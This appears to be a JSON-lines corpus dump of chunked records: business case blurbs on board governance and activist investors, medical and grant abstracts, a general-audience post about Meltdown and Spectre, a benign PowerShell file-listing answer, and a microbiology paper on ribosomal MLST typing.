years.\n\nlearning","metadata":{"pile_set_name":"Pile-CC"},"id":111} {"contents":"objective:\n\nTo discuss the role of the Chairman, the CEO, and the board in sucessfully guiding and leading the company.What makes for a strong and effective board? What is the Chairman's role in leading the board and the company? How does the board manage crisis situations and company growth? How are effective board leaders selected and what qualities must they possess?\n\nPublication Date:\n\nDiscipline:\n\nSource:\n\nProduct number:\n\nLength:\n\nAlso Available in:\n\ndescription\n\nOn January 29, 2013, Elliott Management, a hedge fund run by Paul E. Singer that owned 4.5% of Hess Corporation stock, put forward a slate of five independent directors it wanted elected to improve the company's performance. Elliott argued that Hess lacked focus and was distracted by ventures outside its core exploration and production business. Further it argued that John Hess, CEO and son of","metadata":{"pile_set_name":"Pile-CC"},"id":112} {"contents":"the founder, of being more interested in \"maintaining a family dynasty than instilling accountability and addressing chronic underperformance.\"\n\nlearning objective:\n\nThis is a vignette case which outlines the takeover attempt, and subsequent compromises that follow, between a hedge fund and a major oil company in the USA.\n\nPublication Date:\n\nDiscipline:\n\nSource:\n\nProduct number:\n\nLength:\n\nAlso Available in:\n\ndescription\n\nOn July 12, 2012, Bill Ackman's Pershing Square Capital Management announced publicly that it had purchased about $2 billion of Procter and Gamble (P&G) stock. Shares in the company closed up 3.75% the day the disclosure was made public. Ackman told the New York Times that Pershing would be a major P&G shareholder. \"We think it's an underrated stock,\" he said. \"We think there is a lot of great opportunity there.\" During the next several months there was little or","metadata":{"pile_set_name":"Pile-CC"},"id":113} {"contents":"no public discussion of the matter although people familiar with the situation reported that Ackman held conversations with P&G directors individually. Then, on April 24, 2013, P&G announced that its 3rd quarter earnings had risen 6%. However its 4th quarter forecast fell short of Wall Street's expectations. Shares fell 5% based on this outlook. P&G results were lagging its peers by 4% in 2012 and 2% in the first quarter of 2013. Then, abruptly in late May, CEO Robert A. McDonald, who was 59, resigned. The board selected A.J. Lafley, (65) who had been McDonald's predecessor to return to lead the company. There was speculation about how long Lafley would stay and in what direction he would take the company. On June 6th, P&G announced that Lafley had","metadata":{"pile_set_name":"Pile-CC"},"id":114} {"contents":"appointed four senior executives to lead the company's major businesses, reporting directly to him.\n\nlearning objective:\n\nTakeover attempt by Bill Ackman (purchases $2 billion of P&G stock) and poor performance by the company. CEO resignation and return of ex-CEO's predecessor to lead the company temporarily. Speculation ensues about how long returning CEO would stay at the company and in what direction he would take them.\n\n*required field. You can change details at any time before activation.\n\nThe enrollment number will not limit students' access to materials. Accurate enrollment allows\nus to manage site traffic and course activity.\n\nIf your course is affiliated with an institution not listed here or you need to create a course to last longer than 6 months,\nplease contact HBP Customer Service at custserv@hbsp.harvard.edu or 800-545-7685.\n\nType the information in each box.","metadata":{"pile_set_name":"Pile-CC"},"id":115} {"contents":"Boxes marked with an asterisk (*) are required information.\nYou can change the coursepack information, including the Start and Stop Dates and the quantity,\nat any time before you activate the coursepack.\n\nIf your coursepack is affiliated with an institution not listed here or you need to create a coursepack\nwhich is longer than 6 months, please contact HBP Customer Service at custserv@hbsp.harvard.edu\nor 800-545-7685.","metadata":{"pile_set_name":"Pile-CC"},"id":116} {"contents":"Taking California health insurance into the 21st Century.\nCalifornia's system of financing and delivering health care is coming apart at the seams. High costs and large numbers of uninsured leave too many of the state's residents vulnerable to illness and exorbitant health care bills. A plan to reform the system must include: universal access, cost containment, equitable financing, a choice of systems, a unified plan, shared risk, and a greater emphasis on disease prevention.","metadata":{"pile_set_name":"PubMed Abstracts"},"id":117} {"contents":"New Major CPU Security Flaws\n\nEarlier this week, computer security experts announced the discovery of two major security flaws found in the processors of most of the world\u2019s computers, smartphones, and cloud servers.\n\nThese flaws affect nearly every processor manufactured by Intel since 1995.\n\nThese defects encompass all modern processors capable of a performance feature called \u201cspeculative execution.\u201d A process in which the CPU rapidly accesses multiple areas of memory in order to speed up the operation of your computer. This data is normally protected but experts have discovered bugs that potentially leave information exposed while being queued up for processing. This flaw creates the potential for sensitive data stored in the memory to be read.\n\nThese bugs have been aptly titled: Meltdown and Spectre.\n\nMeltdown is essentially a security flaw which could","metadata":{"pile_set_name":"Pile-CC"},"id":118} {"contents":"allow a hacker to circumvent the hardware boundary between programs run by users and the memory of their computer that could potentially be storing sensitive information. Meltdown is a particular problem for the cloud computing services run by the likes of Amazon, Google, and Microsoft.\n\nSpectre could potentially allow a hacker to trick programs that are running properly into unknowingly giving up sensitive information.\n\nBoth bugs carry with them the potential for unauthorized information access through side channels found in computer processors. The good news is chip manufacturers and security professionals have already been hard at work pushing forward patches and solutions to these known issues. Currently, no known hackers have yet been able to take advantage of these flaws.\n\nWhat Can We Do to Prevent Being Affected?\n\nTypical computer users can","metadata":{"pile_set_name":"Pile-CC"},"id":119} {"contents":"relax when it comes to Meltdown and keep their systems up to date with security updates. More updates will be coming soon, so be on the lookout and do not hesitate to install them.\n\nSpectre is a more complicated exploit and will take more time to mitigate. Future software patches are expected.\n\nIn these situations it is important to use tried and true digital security best practices:\n\nAvoid unsecured websites\n\nDo not open unknown email\n\nDo not download unknown software\n\nKeep your anti-virus and firewall active\n\nUpdate, Update, Update\n\nAt this time there are no known reports of these bugs being abused in the wild and security professionals have been hard at work on fixes long before they were made public.\n\nIf you have any questions or concerns about your digital security, please contact our IT team","metadata":{"pile_set_name":"Pile-CC"},"id":120} {"contents":"to learn what you can do to stay protected.","metadata":{"pile_set_name":"Pile-CC"},"id":121} {"contents":"Enhanced initial bone regeneration with inorganic polyphosphate-adsorbed hydroxyapatite.\nInorganic polyphosphate (poly(P)) can promote binding between fibroblast growth factors and their receptors and enhance osteoblastic cell differentiation and calcification. This study evaluated the possibilities for poly(P) adsorbed onto interconnected porous calcium hydroxyapatite (IP-CHA) as a new bone regeneration material. Prepared 1%, 5%, 25% and 50% poly(P)\/IP-CHA composites showed the elution peak of poly(P) between 15 and 20 min, respectively, with the highest value from 50% poly(P)\/IP-CHA in vitro. Histologically, at 1 week of placement into the femur of rabbits, granulation tissue had penetrated into the pores in all composites and IP-CHA as a control. In contrast, at 2 weeks of placement, newly formed lamellar bone was found in all groups, although a higher amount of bone regeneration was obviously formed","metadata":{"pile_set_name":"PubMed Abstracts"},"id":122} {"contents":"in the 25% and 50% poly(P)\/IP-CHA with a significantly higher value of bone regeneration ratio of 50% poly(P)\/IP-CHA. These results indicate that 25% and 50% poly(P)\/IP-CHA composites may enhance initial bone regeneration.","metadata":{"pile_set_name":"PubMed Abstracts"},"id":123} {"contents":"Q:\n\nMonitor Azure Files in Storage Account for event : file creation\n\nI know I could use System.IO.FileSystemWatcher in a Powershell script to detect when a file is created in Azure files (in my storage account). Is there a better way to detect a file being created than this method ?\nI can't seem to find any logs that I could perhaps parse ?\nThanks\n\nA:\n\nThis could do you if you really didn't want to use the FileSystemWatch\n$Files = Get-ChildItem -file -Recurse \"C:\\Temp\"\n$IfOlderThan = 60\n$NewlyCreated = @()\n$OldCreated = @()\n$Count = 0\n\nForeach ($file in $files){\n if($file.CreationTime -gt (Get-Date).AddMinutes(-$IfOlderThan)){\n $NewlyCreated += $file\n } Else {\n $OldCreated += $file\n }\n}\nWrite-Host \"Found \" -NoNewline;Write-host","metadata":{"pile_set_name":"StackExchange"},"id":124} {"contents":"$($NewlyCreated.Count) -NoNewline -ForegroundColor Green; Write-Host \" file\\s that have been created in the last $IfOlderThan minutes\" \n$NewlyCreated | select Name, Fullname, CreationTime\n\n","metadata":{"pile_set_name":"StackExchange"},"id":125} {"contents":"L-Glutamate decarboxylase (GAD) is the enzyme involved in the synthesis of GABA, a major inhibitory neurotransmitter. There are two well characterized GAD isoforms in the brain, namely, GAD65 and GAD67 [(Erlander and Tobin, 1991)]. Recently, we have shown that soluble GAD (SGAD) is activated by dephosphorylation, mediated by calcineurin, and is inhibited by phosphorylation, mediated by PKA (Bao et al., 1994, 1995), whereas the membrane associated GAD (MGAD) is activated by protein phosphorylation which depends on the integrity of synaptic vesicles (Hsu et al., 1999). In addition, we have identified MGAD from synaptosomes as GAD65 (Hsu et al., 1999). Thus, GAD activity appears to be regulated also depending on the partition of GAD in soluble and membrane associated form. In addition, a detailed crystal structure of GAD is","metadata":{"pile_set_name":"NIH ExPorter"},"id":126} {"contents":"essential for understanding the regulation of GAD activity. Hence, we propose to perform the following studies: (1) To determine the three dimensional structure of GAD. This aspect of studies will be carried out in collaboration with Dr. F. Takusagawa (letter of collaboration is attached) who has recently determined the crystal structure of S- adenosylhomocysteine hydrolase (Hu et al., 1999). (2) To elucidate the mechanisms involved in anchoring GAD to synaptic vesicles with special focus on the role of heat shock cognate protein (HSC70) since our results indicate that GAD65, but not GAD67 forms complex with HSC70 (see Preliminary Results). (3) Characterization of GAD65 and GAD67 phosphorylation sites in terms of the identity of phosphoamino acids, the location (sequence), and the number of phosphorylation sites. In addition, site-directed mutagenesis","metadata":{"pile_set_name":"NIH ExPorter"},"id":127} {"contents":"will be used to determine which amino acid residues are important for phosphorylation and regulation of GAD activity. (4) To elucidate the physiological significance of GAD65 and GAD67 phosphorylation. (5) To address whether GAD65 and GAD67 activities are sensitive to intracellular GABA concentrations. The success of a large scale purification of recombinant human brain GAD65 and GAD67 and the availability of subtype specific antibodies for GAD65 and GAD67, ensure the high feasibility of this proposal.","metadata":{"pile_set_name":"NIH ExPorter"},"id":128} {"contents":"MLSA\n\n: multilocus sequence analysis\n\nPMEN\n\n: Pneumococcal Molecular Epidemiology Network\n\nrMLST\n\n: ribosomal MLST\n\nSNP\n\n: single-nucleotide polymorphism\n\nIntroduction {#sec1-1}\n============\n\nSince its inception as a science, microbiology has depended on the reproducible classification of bacteria into types that can be grouped systematically. The association of particular bacterial groups with specific activities, initially used to determine microbial disease aetiology, has been widely successful in identifying and investigating the activities of particular bacteria throughout the biosphere. A variety of data have been used to categorize bacteria, in a number of cases governed by formal schemes such as the International Code of Nomenclature of Bacteria ([@r34]); however, the great diversity of the bacterial domain ([@r32]) has, to date, prevented the development of a single characterization scheme that can be readily applied","metadata":{"pile_set_name":"PubMed Central"},"id":129} {"contents":"to all bacteria at all levels of relatedness. Whilst practical means of assigning bacterial isolates to particular taxa exist, there remains debate concerning the biological and evolutionary processes that lead to the generation and maintenance of the clusters of related organisms that form the basis of these formally defined taxa ([@r15]). Irrespective of these debates on the nature of bacterial species, the recent widespread application of very-high-throughput sequencing technologies to bacterial populations and communities has greatly increased the necessity for a genealogical method that can work at different taxonomic levels and which can be used to assist definitions of nomenclature ([@r2]).\n\nGenotypic methods became increasingly important in bacterial characterization throughout the 20th century, complementing, and to an extent replacing, the phenotypic methods originally employed ([@r51]). A major step was","metadata":{"pile_set_name":"PubMed Central"},"id":130} {"contents":"the introduction of small subunit (16S) ribosomal RNA sequences into bacterial systematics, which provided a general framework for categorizing bacteria based on evolutionary relationships, thus representing a 'natural' classification system ([@r57]). The genes encoding the 16S rRNA are effective for classification as they are universal, easily sequenced, and conserved. They have been widely employed in bacterial systematic and evolutionary studies, playing a seminal role in establishing the place of the bacteria in the three domains of life ([@r58]), and being widely employed in the examination of bacterial pathogens, including in diagnostic applications ([@r9]). Sequence analysis of the 16S rRNA gene has also been used extensively in the examination of microbial communities, such as the human microbiome ([@r46]) and environmental communities ([@r36]; [@r22]; [@r21]). While 16S rRNA gene phylogenies","metadata":{"pile_set_name":"PubMed Central"},"id":131} {"contents":"provide a general framework, they are unable to provide unification between taxonomic and typing schemes, as many bacteria with distinct properties share identical or very similar 16S rRNA gene sequences ([@r51]). This is particularly the case with a number of pathogenic bacteria, where the reliable classification of closely related bacterial specimens into distinct types with particular pathogenic properties is essential for reliable diagnosis and epidemiology ([@r56]).\n\nThe recognition that horizontal genetic exchange is widespread among bacteria ([@r50]) established the necessity of employing multiple loci in characterization schemes, as frequent recombination reassorts loci, consequently breaking down phylogenetic congruence within bacterial genomes ([@r25]). Techniques such as multilocus sequence typing (MLST) ([@r38]), which indexes sequence variation at housekeeping loci, have provided a means of reliably identifying the relationships among related organisms, and","metadata":{"pile_set_name":"PubMed Central"},"id":132} {"contents":"have been suggested as a basis for a novel approach to microbial species identification ([@r20]). MLST, however, which typically analyses six to eight genetic loci ([@r37]), does not always provide sufficient resolution among very closely related bacteria ([@r1]). Furthermore, because of the diversity of bacterial metabolism across the domain, and even among quite closely related organisms, each MLST scheme has to be developed for a particular group of related bacteria. MLST schemes are therefore usually limited to bacteria belonging to the same genus, and even within a given genus, several distinct MLST schemes may be required ([@r37]). Thus, although providing a general approach for both bacterial genealogy and typing, MLST and the related method of multilocus sequence analysis (MLSA) ([@r20]) do not provide a practical combined taxonomic and","metadata":{"pile_set_name":"PubMed Central"},"id":133} {"contents":"typing approach at all levels of bacterial diversity.\n\nThe recent rapid expansion of nucleotide sequencing capacity with 'next-generation' sequencing technology has greatly increased the number of bacterial genomes available for analysis ([@r42]), with numbers expanding rapidly ([@r7]). This enables a comparative analysis of the genetic variation at shared loci across the whole domain. Here we use a new database platform, Bacterial Isolate Genome Sequence Database (BIGS[db]{.smallcaps}; [@r30]), to implement a combined taxonomic and typing approach for the whole domain Bacteria that provides resolution down to the strain or subspecies level, by indexing the sequences of ribosomal protein-encoding genes in a curated MLST scheme, ribosomal MLST (rMLST). Use of the scheme will enable rapid species and strain identification directly from whole-genome data generated by parallel sequencing techniques (Supplementary Fig. S1).\n\nMethods","metadata":{"pile_set_name":"PubMed Central"},"id":134} {"contents":"{#sec1-2}\n=======\n\n {#sec2-1}\n\n### Genomes. {#sec3-1}\n\nWhole-genome data from 1902 strains representing the entire bacterial domain were downloaded from the Integrated Microbial Genomes (IMG) database ([@r39]). These were uploaded to a BIGS[db]{.smallcaps} database, along with taxonomic and provenance data where available. In addition, Illumina whole-genome data for 28 isolates of Pneumococcal Molecular Epidemiology Network 1 (PMEN1) *Streptococcus pneumoniae* ([@r10]) were extracted from the European Bioinformatics Institute (EBI) sequence read archive. The V[elvet]{.smallcaps} *de novo* assembler ([@r61]; [@r62]), shuffle and optimization scripts were used to create contigs using optimal parameters, with kmer lengths between 21 and 51 bp, with no scaffolding. The assembled contigs were uploaded into the BIGS[db]{.smallcaps} database.\n\n### Identification and tagging of *rps* genes. {#sec3-2}\n\nA reference gene BIGS[db]{.smallcaps} database was set up to contain the entire known sequence diversity of","metadata":{"pile_set_name":"PubMed Central"},"id":135} {"contents":"the ribosomal protein genes, and this was seeded with data from a few species manually retrieved from IMG and GenBank annotations. The ribosomal protein genes were then tagged in the database by an iterative process of identification by [blastn]{.smallcaps} and [tblastx]{.smallcaps} ([@r3]) searches of the whole genome data against previously defined alleles at progressively lower stringency. Initial [blastn]{.smallcaps} parameters had a cut-off of 70\u200a% identity over 50\u200a% of the alignment length and a word size of 15. Each unique sequence was defined with an arbitrary allele number. After definition of new alleles, any genomes without alleles assigned were scanned again with the same parameters. This was repeated until no further matches were found. At this point, the stringency was reduced by 5\u200a% identity and the process repeated until","metadata":{"pile_set_name":"PubMed Central"},"id":136} {"contents":"no further matches were identified down to a stringency of 50\u200a% identity. At this point, [tblastx]{.smallcaps} searches were performed using the same iterative process. When no further matches were identified, extra seeding of the allele database was achieved by an automated Perl script that retrieved alleles from the National Center for Biotechnology Information (NCBI) Entrez Gene database for species with missing data, and the iterative [blast]{.smallcaps} scanning was repeated, starting at the initial stringency settings. Finally, allele sequences were cleaned to ensure that only in-frame sequences without internal stop codons were included and the locus position definitions fixed so that the sequences began at common start sites, where possible. Since allele identification was performed by an iterative process of matching to previously defined sequences, periodic checks of new","metadata":{"pile_set_name":"PubMed Central"},"id":137} {"contents":"alleles were made by [blast]{.smallcaps}ing against GenBank to ensure that they did not match other genes. Tagging of the 16S rRNA gene was achieved following initial seeding of the definition database with only a single sequence and [blastn]{.smallcaps} matching.\n\n### Phylogenetic analysis. {#sec3-3}\n\nPhylogenetic trees were generated by exporting ribosomal protein gene sequences from the strain database as an XMFA file containing each locus as an aligned block. [clonalframe]{.smallcaps} analysis was performed for single-genus datasets using [clonalframe]{.smallcaps} version 1.2 ([@r13]) with default parameters. For larger datasets, up to the entire bacterial domain, the XMFA file was converted to an aligned concatenated sequence for neighbour-joining tree analysis using [mega]{.smallcaps} version 5 ([@r33]), with ambiguous positions removed for each sequence pair. Split decomposition analysis was performed using [splitstree]{.smallcaps} version 4 ([@r28]) for","metadata":{"pile_set_name":"PubMed Central"},"id":138} {"contents":"species level datasets. For the *S. pneumoniae* tree, the *rpmG* locus was removed from the analysis since three paralogues were identified. No other paralogous loci were removed from any other tree. Interactive Tree of Life (iTOL) ([@r35]) was used to visualize large trees.\n\nTo assess congruence, maximum-likelihood (ML) phylogenetic trees were constructed using [paup]{.smallcaps} version 4 beta 10 ([@r52]) on finished genomes from the entire class Bacilli (*n*\u200a=\u200a144). ML trees for 10 ribosomal protein genes (*rpsB*, *rpsC*, *rpsD*, *rpsE*, *rpsG*, *rpsI*, *rpsK*, *rpsL*, *rpsP* and *rpsT*) with sizes between 400 and 1100 bp were computed and compared using the Shimodaira--Hasegawa test, which determines whether significant differences occur among the tree topologies (differences in log likelihood, \u0394\u2212ln L). Randomization tests were then performed ([@r25]), where the \u0394\u2212ln L values for","metadata":{"pile_set_name":"PubMed Central"},"id":139} {"contents":"each of the genes were compared with the equivalent values computed for 200 random trees created from each gene. This analysis was carried out on finished genomes from the entire class Bacilli (*n*\u200a=\u200a144).\n\nOverall mean distances (p-distance) were calculated for each locus by taxonomic class. Sequences were exported from BIGSdb, aligned by codon \\[using the Multiple Sequence Comparison by Log-Expectation ([muscle]{.smallcaps}) tool with default parameters ([@r16])\\], and the number of base differences per site was averaged over all sequence pairs. All ambiguous positions were removed for each sequence pair. A codon-based test of positive selection was also performed for each locus by taxonomic class using the Nei--Gojobori method ([@r45]). The probability of rejecting the null hypothesis of strict neutrality (d~N~\u200a=\u200ad~S~) was tested in favour of the alternative hypothesis (d~N~\\>d~S~).","metadata":{"pile_set_name":"PubMed Central"},"id":140} {"contents":"Again, all ambiguous positions were removed for each sequence pair. These analyses were performed in [mega]{.smallcaps}5 ([@r53]). The Hunter--Gaston discriminatory index ([@r26]; [@r27]) was determined for each locus for the entire dataset, the genus *Bacillus*, the monomorphic species *Bacillus anthracis* and *Yersinia pestis*, and for the highly recombinagenic species *Helicobacter pylori*. This analysis was performed using the web tool at .\n\nResults {#sec1-3}\n=======\n\nUploading of genome sequences {#sec2-2}\n-----------------------------\n\nGenome data for 1902 bacterial isolates were downloaded from the IMG database ([@r39]) and uploaded to a BIGS[db]{.smallcaps} database (available at ). These were classified as either finished (982, 51.6\u200a%), draft (911, 47.9\u200a%) or permanent draft (9, 0.5\u200a%). Finished genomes had a mean of 1.7 contigs per genome, whereas draft and permanent draft genomes were together represented by 215.5 contigs per genome ([Table","metadata":{"pile_set_name":"PubMed Central"},"id":141} {"contents":"1](#t1){ref-type=\"table\"}). The dataset did not represent an unbiased sampling of bacterial diversity but was limited to taxa for which whole-genome data were available.\n\n###### Tagging status of the 53 rMLST loci used in analysis\n\n Parameter IMG genome status *S. pneumoniae* [velvet]{.smallcaps} assemblies \n ------------------------------------------- ------------------- ------------------------------------------------- ------------ -----------\n Strains uploaded ","metadata":{"pile_set_name":"PubMed Central"},"id":142} {"contents":" 920 982 1902 28\n Mean contigs per strain 215.5 ","metadata":{"pile_set_name":"PubMed Central"},"id":143} {"contents":" 1.7 105.1 354.6\n Strains with all rMLST loci tagged 499 674 ","metadata":{"pile_set_name":"PubMed Central"},"id":144} {"contents":" 1173 28\n Average complete rMLST genes per strain\\* 48.94 (53) 52.59 (53) 50.82 (53) 52.6 (53)\n Average partial rMLST genes per strain\\* 1.077 (0) 0.003","metadata":{"pile_set_name":"PubMed Central"},"id":145} {"contents":"(0) 0.523 (0) 0.39 (0)\n Average missing rMLST genes per strain\\* 2.990 (0) 0.404 (0) 1.655 (0) 0.00 (0)\n Average internal stop codons per strain\\* 0.702 (0) ","metadata":{"pile_set_name":"PubMed Central"},"id":146} {"contents":" 0.329 (0) 0.509 (0) 1.00 (1)\n\nAverages: main values are mean; modal values are in parentheses.\n\n*De novo* assembly of *S. pneumoniae* genomes {#sec2-3}\n---------------------------------------------\n\nGenome data for 28 *S. pneumoniae* isolates were assembled from short-read archive data into contigs by [velvet]{.smallcaps} assembly. The assemblies varied in hash length from 21 to 37 bp, and the total number of bases in contigs ranged from 1\u200a736\u200a028 to 2\u200a198\u200a465. Values for the length N for which 50\u200a% of all bases in the sequences are in a contig of at least the given length (N50) ranged from","metadata":{"pile_set_name":"PubMed Central"},"id":147} {"contents":"1451 to 47\u200a198 (Supplementary Table S1). These data were uploaded into the BIGS[db]{.smallcaps} database and the quality of assemblies was assessed by [blast]{.smallcaps} searches of *rps* loci. This identified complete coding sequences for 52 ribosomal protein genes from assemblies of 24 of the 28 isolates, confirming that these represented 'high-quality draft genomes'. Multiple stop codons were identified in the *rplX* locus of sequence assemblies from all 28 isolates, a finding in common with 24 of the 29 *S. pneumoniae* genomes uploaded from the IMG database, indicating that the sequence is a pseudogene in this species. Incomplete *rps* sequences were identified at a single, but different locus, for each of three isolates, and sequences for eight loci were incomplete for a fourth strain. Optimized [velvet]{.smallcaps} parameters thus provided full","metadata":{"pile_set_name":"PubMed Central"},"id":148} {"contents":"coding sequence for 1445 of a potential 1456 (99.2\u200a%) ribosomal genes, from these assemblies.\n\nLocus identification and curation {#sec2-4}\n---------------------------------\n\nThe majority of the 53 *rps* genes were identified in each of the bacterial genome sequences analysed, by successive [blast]{.smallcaps} searches. This enabled complete *rps* gene profiles (53 loci) to be generated for 1173 genomes (61.7\u200a%), although a few genes were apparently missing in some datasets or were present as partial coding sequences that were situated at the ends of contigs. These missing or partial genes were mainly found in genomes with 'draft' status, as designated in the IMG database ([Table 1](#t1){ref-type=\"table\"}). For the complete genomes an overall mean of 52.59 out of 53 (99.2\u200a%) rMLST loci were identified as full sequences. Most of the remainder were completely missing (no partial","metadata":{"pile_set_name":"PubMed Central"},"id":149} {"contents":"sequence identified). Some sequences matched at high identity to complete alleles had nucleotide substitutions that resulted in frameshifts, resulting in internal stop codons (a mean occurrence of 0.329 out of 53 rMLST loci in the complete genomes). In many cases, these appeared to be the result of sequencing errors in homopolymeric tracts, often in genomes sequenced using 454 technology. A total of 674 (68.6\u200a%) complete genomes were tagged at all rMLST loci. As there are 53 loci used in the rMLST scheme, the absence of a gene or its presence as a pseudogene did not affect the accuracy of the approach. In some cases multiple loci were found for particular *rps* genes, and ultimately active curation will be needed for the *rps* loci schemes for the various groups","metadata":{"pile_set_name":"PubMed Central"},"id":150} {"contents":"of bacteria. This could be best achieved by specialist curators with knowledge of particular groups of organisms, as is currently done for MLST schemes.\n\nSpecies discrimination {#sec2-5}\n----------------------\n\nRibosomal protein genes from bacteria belonging to 452 genera were identified in the database and their contig locations tagged. Neighbour-joining trees were constructed from the concatenated sequences of 1565 isolates that had sequences determined for at least 52 of the 53 loci. These trees exhibited clear differentiation of classes and genera ([Fig. 1](#f1){ref-type=\"fig\"}, nucleotide tree, and Supplementary Fig. S2, protein tree) and were consistent with existing taxonomy and a tree reconstructed from 16S rRNA gene data ([Fig. 2](#f2){ref-type=\"fig\"}). The main difference between the tree generated from rMLST nucleotide data and that from the 16S rRNA gene data was the high level of resolution","metadata":{"pile_set_name":"PubMed Central"},"id":151} {"contents":"seen at the tips of the branches in the rMLST tree ([Fig. 1](#f1){ref-type=\"fig\"}). Both the 16S rRNA tree and the rMLST tree had uncertainty in the deep branches, and there was little phylogenetic signal below the level of class. Using rMLST data from the 144 isolates belonging to the class Bacilli enabled the relationships of related genera to be examined with [clonalframe]{.smallcaps} ([Fig. 3](#f3){ref-type=\"fig\"}). With this analysis, the available genomes belonging to the genus *Bacillus* formed three clades as distinct from each other as from *Listeria*. *Bacillus anthracis*, *Bacillus cereus* and *Bacillus weihenstephenensis* formed one clade; *Bacillus licheniformis*, *Bacillus amyloliquefaciens*, *Bacillus subtilis* and *Bacillus pumilus* another; and *Bacillus halodurans*, *Bacillus pseudofirmus* and *Bacillus clausii* the third ([Fig. 3](#f3){ref-type=\"fig\"}).\n\n![Neighbour-joining tree of the entire bacterial domain reconstructed from concatenated ribosomal","metadata":{"pile_set_name":"PubMed Central"},"id":152} {"contents":"protein gene sequences. The analysis involved 1565 sequences from genomes with at least 52 tagged ribosomal protein genes. Subspecies-level resolution is evident.](055459-f1){#f1}\n\n![Neighbour-joining tree of the entire bacterial domain reconstructed from 16S rRNA gene sequences extracted from whole-genome data of 1663 strains.](055459-f2){#f2}\n\n![[clonalframe]{.smallcaps} tree of the class Bacilli using ribosomal protein gene sequences. Two independent, converged runs were merged and a 95\u200a% consensus tree generated. Only finished genomes with 53 ribosomal protein genes identified and tagged were included in the analysis (*n*\u200a=\u200a144). Key: 1, *Streptococcus pyogenes*; 2, *Streptococcus dysgalactiae*; 3, *Streptococcus equi*\/*Streptococcus zooepidemicus*; 4, *Streptococcus. uberis*; 5, *Streptococcus agalactiae*; 6, *Streptococcus mutans*; 7, *Streptococcus thermophilus*; 8, *Streptococcus gallolyticus*; 9, *S. pneumoniae*; 10, *Streptococcus mitis*; 11, *Streptococcus gordonii*\/*Streptococcus sanguinis*; 12, *Streptococcus suis*; 13, *B. anthracis*\/*B. cereus*\/*B. weihenstephanensis*; 14, *B. licheniformis*\/*B. amyloliquefaciens*\/*B.","metadata":{"pile_set_name":"PubMed Central"},"id":153} {"contents":"subtilis*\/*B. pumilus*; 15, *B. halodurans*\/*B. pseudofirmus*\/*B. clausii*; 16, *Staphylococcus aureus*; 17, *Staphylococcus epidermidis*\/*Staphylococcus haemolyticus*; 18, *Staphylococcus carnosus*\/*Staphylococcus saprophyticus*.](055459-f3){#f3}\n\nWithin the genus *Streptococcus*, which had a large number of genomes available, rMLST was able to differentiate distinct groups ([Figs 3](#f3){ref-type=\"fig\"} and [4](#f4){ref-type=\"fig\"}), largely corresponding to existing species designations. The 29 *S. pneumoniae* genomes downloaded from the IMG database ([@r39]) were supplemented with assemblies generated from Illumina data for 28 genomes deposited in the EBI sequence read archive as part of a clinical study of the PMEN1 \\[Spain (23F) \u22121\\] clone ([@r10]). Split decomposition analysis of the concatenated rMLST loci demonstrated a high level of resolution within this single species, not only resolving individual PMEN clones but also resolving at a sub-sequence-type level within the PMEN1 group ([Fig. 5](#f5){ref-type=\"fig\"}). The rMLST","metadata":{"pile_set_name":"PubMed Central"},"id":154} {"contents":"loci vary considerably in length and discriminatory power both among loci and among taxonomic classes for specific loci (Supplementary Tables S2 and S3). Inspection of synonymous and non-synonymous substitutions within classes provided no significant evidence of positive selection. For any given species, the number of unique alleles was different among loci and is a consequence of the population structure of the organism. Monomorphic species such as *B. anthracis* and *Y. pestis* have very low sequence diversity, which is not the case for the majority of other bacteria. As an example of the former, relatively little discrimination was observed with the *Y. pestis* genomes in the database (Supplementary Fig. S3). Compared against a published phylogeny using 1364 single-nucleotide polymorphisms (SNPs) ([@r44]), rMLST could differentiate isolates belonging to the early","metadata":{"pile_set_name":"PubMed Central"},"id":155} {"contents":"branching 0.PE2 (Pestoides F) and 0.PE3 (Angola) populations.\n\n![[clonalframe]{.smallcaps} tree of the genus *Streptococcus*. Three independent, converged runs were merged and a 95\u200a% consensus tree generated. Only finished genomes with 53 ribosomal protein genes identified and tagged were included in the analysis (*n*\u200a=\u200a45).](055459-f4){#f4}\n\n![Split decomposition of concatenated ribosomal protein genes from *S. pneumoniae* isolates (*n*\u200a=\u200a57). The *rpmG* gene was not included, since there appear to be three loci within the *S. pneumoniae* genome that can exhibit different *rpmG* alleles. The different PMEN clones within the dataset are clearly resolved and the heavily represented PMEN1 group centred around ST-81 shows sub-sequence type resolution.](055459-f5){#f5}\n\nCongruence {#sec2-6}\n----------\n\nThe rMLST groupings generated were independent of the clustering algorithm used, whether it accounted for recombination, e.g. [clonalframe]{.smallcaps}, or not, indicating a strong clonal signal that was robust","metadata":{"pile_set_name":"PubMed Central"},"id":156} {"contents":"to horizontal genetic exchange. This was formally tested by a congruence test of 10 *rps* loci, chosen to be roughly equivalent to complete coding sequence lengths of between 400 and 1100 bp, within the class Bacilli (*n*\u200a=\u200a144). This showed that although the topologies among trees drawn with single-locus data were significantly different from each other, these differences were comparatively small (Supplementary Tables S4 and S5), suggesting that phylogeny was largely conserved among these loci. Congruence was better among rMLST loci than among rMLST loci and random trees representing the range of topologies that would be expected if the loci were undergoing high levels of horizontal genetic exchange.\n\nDiscussion {#sec1-4}\n==========\n\nHigh-resolution bacterial characterization is of great importance to all areas of microbiology, but is particularly important for pathogenic bacteria, where rapid,","metadata":{"pile_set_name":"PubMed Central"},"id":157} {"contents":"precise identification of a disease-causing bacterium is often of high clinical or public health importance ([@r56]). Pathogens of humans and their domesticated animals and plants have emerged many times from essentially all parts of the domain ([@r12]; [@r8]), and therefore a general approach that works for clinical specimens will be applicable to all members of the domain. Nucleotide sequence data, especially of protein-encoding genes, have a number of advantages in both taxonomic and typing schemes, as they are high-resolution, reproducible and portable, and can be analysed with a variety of evolutionary and population genetic approaches ([@r38]). The development of a unified scheme has, however, been hindered by the extensive diversity of the bacterial domain with members, most yet to be cultured ([@r47]), found in virtually all known biological","metadata":{"pile_set_name":"PubMed Central"},"id":158} {"contents":"niches and participating in the majority of biochemical processes described to date ([@r32]); consequently, few core metabolic genes that can be targeted in a universal genealogy are shared by all bacteria.\n\nThe widespread occurrence of horizontal genetic exchange among diverse members of the bacterial domain provides a further obstacle to phylogeny-based bacterial characterization, as different loci within the same genome can have widely different evolutionary histories ([@r25]). This is especially true of the accessory genome -- the genetic material that is not present in all members of the group. Hence most approaches to establishing the relationships among bacteria have concentrated on using multiple core-genome loci which are under stabilizing selection. What constitutes a 'core genome' is, however, difficult to define, and differs among different bacterial groups: this is why","metadata":{"pile_set_name":"PubMed Central"},"id":159} {"contents":"separate MLST schemes are required even for quite closely related bacteria ([@r37]). Sequence variation in the core genome is also subject 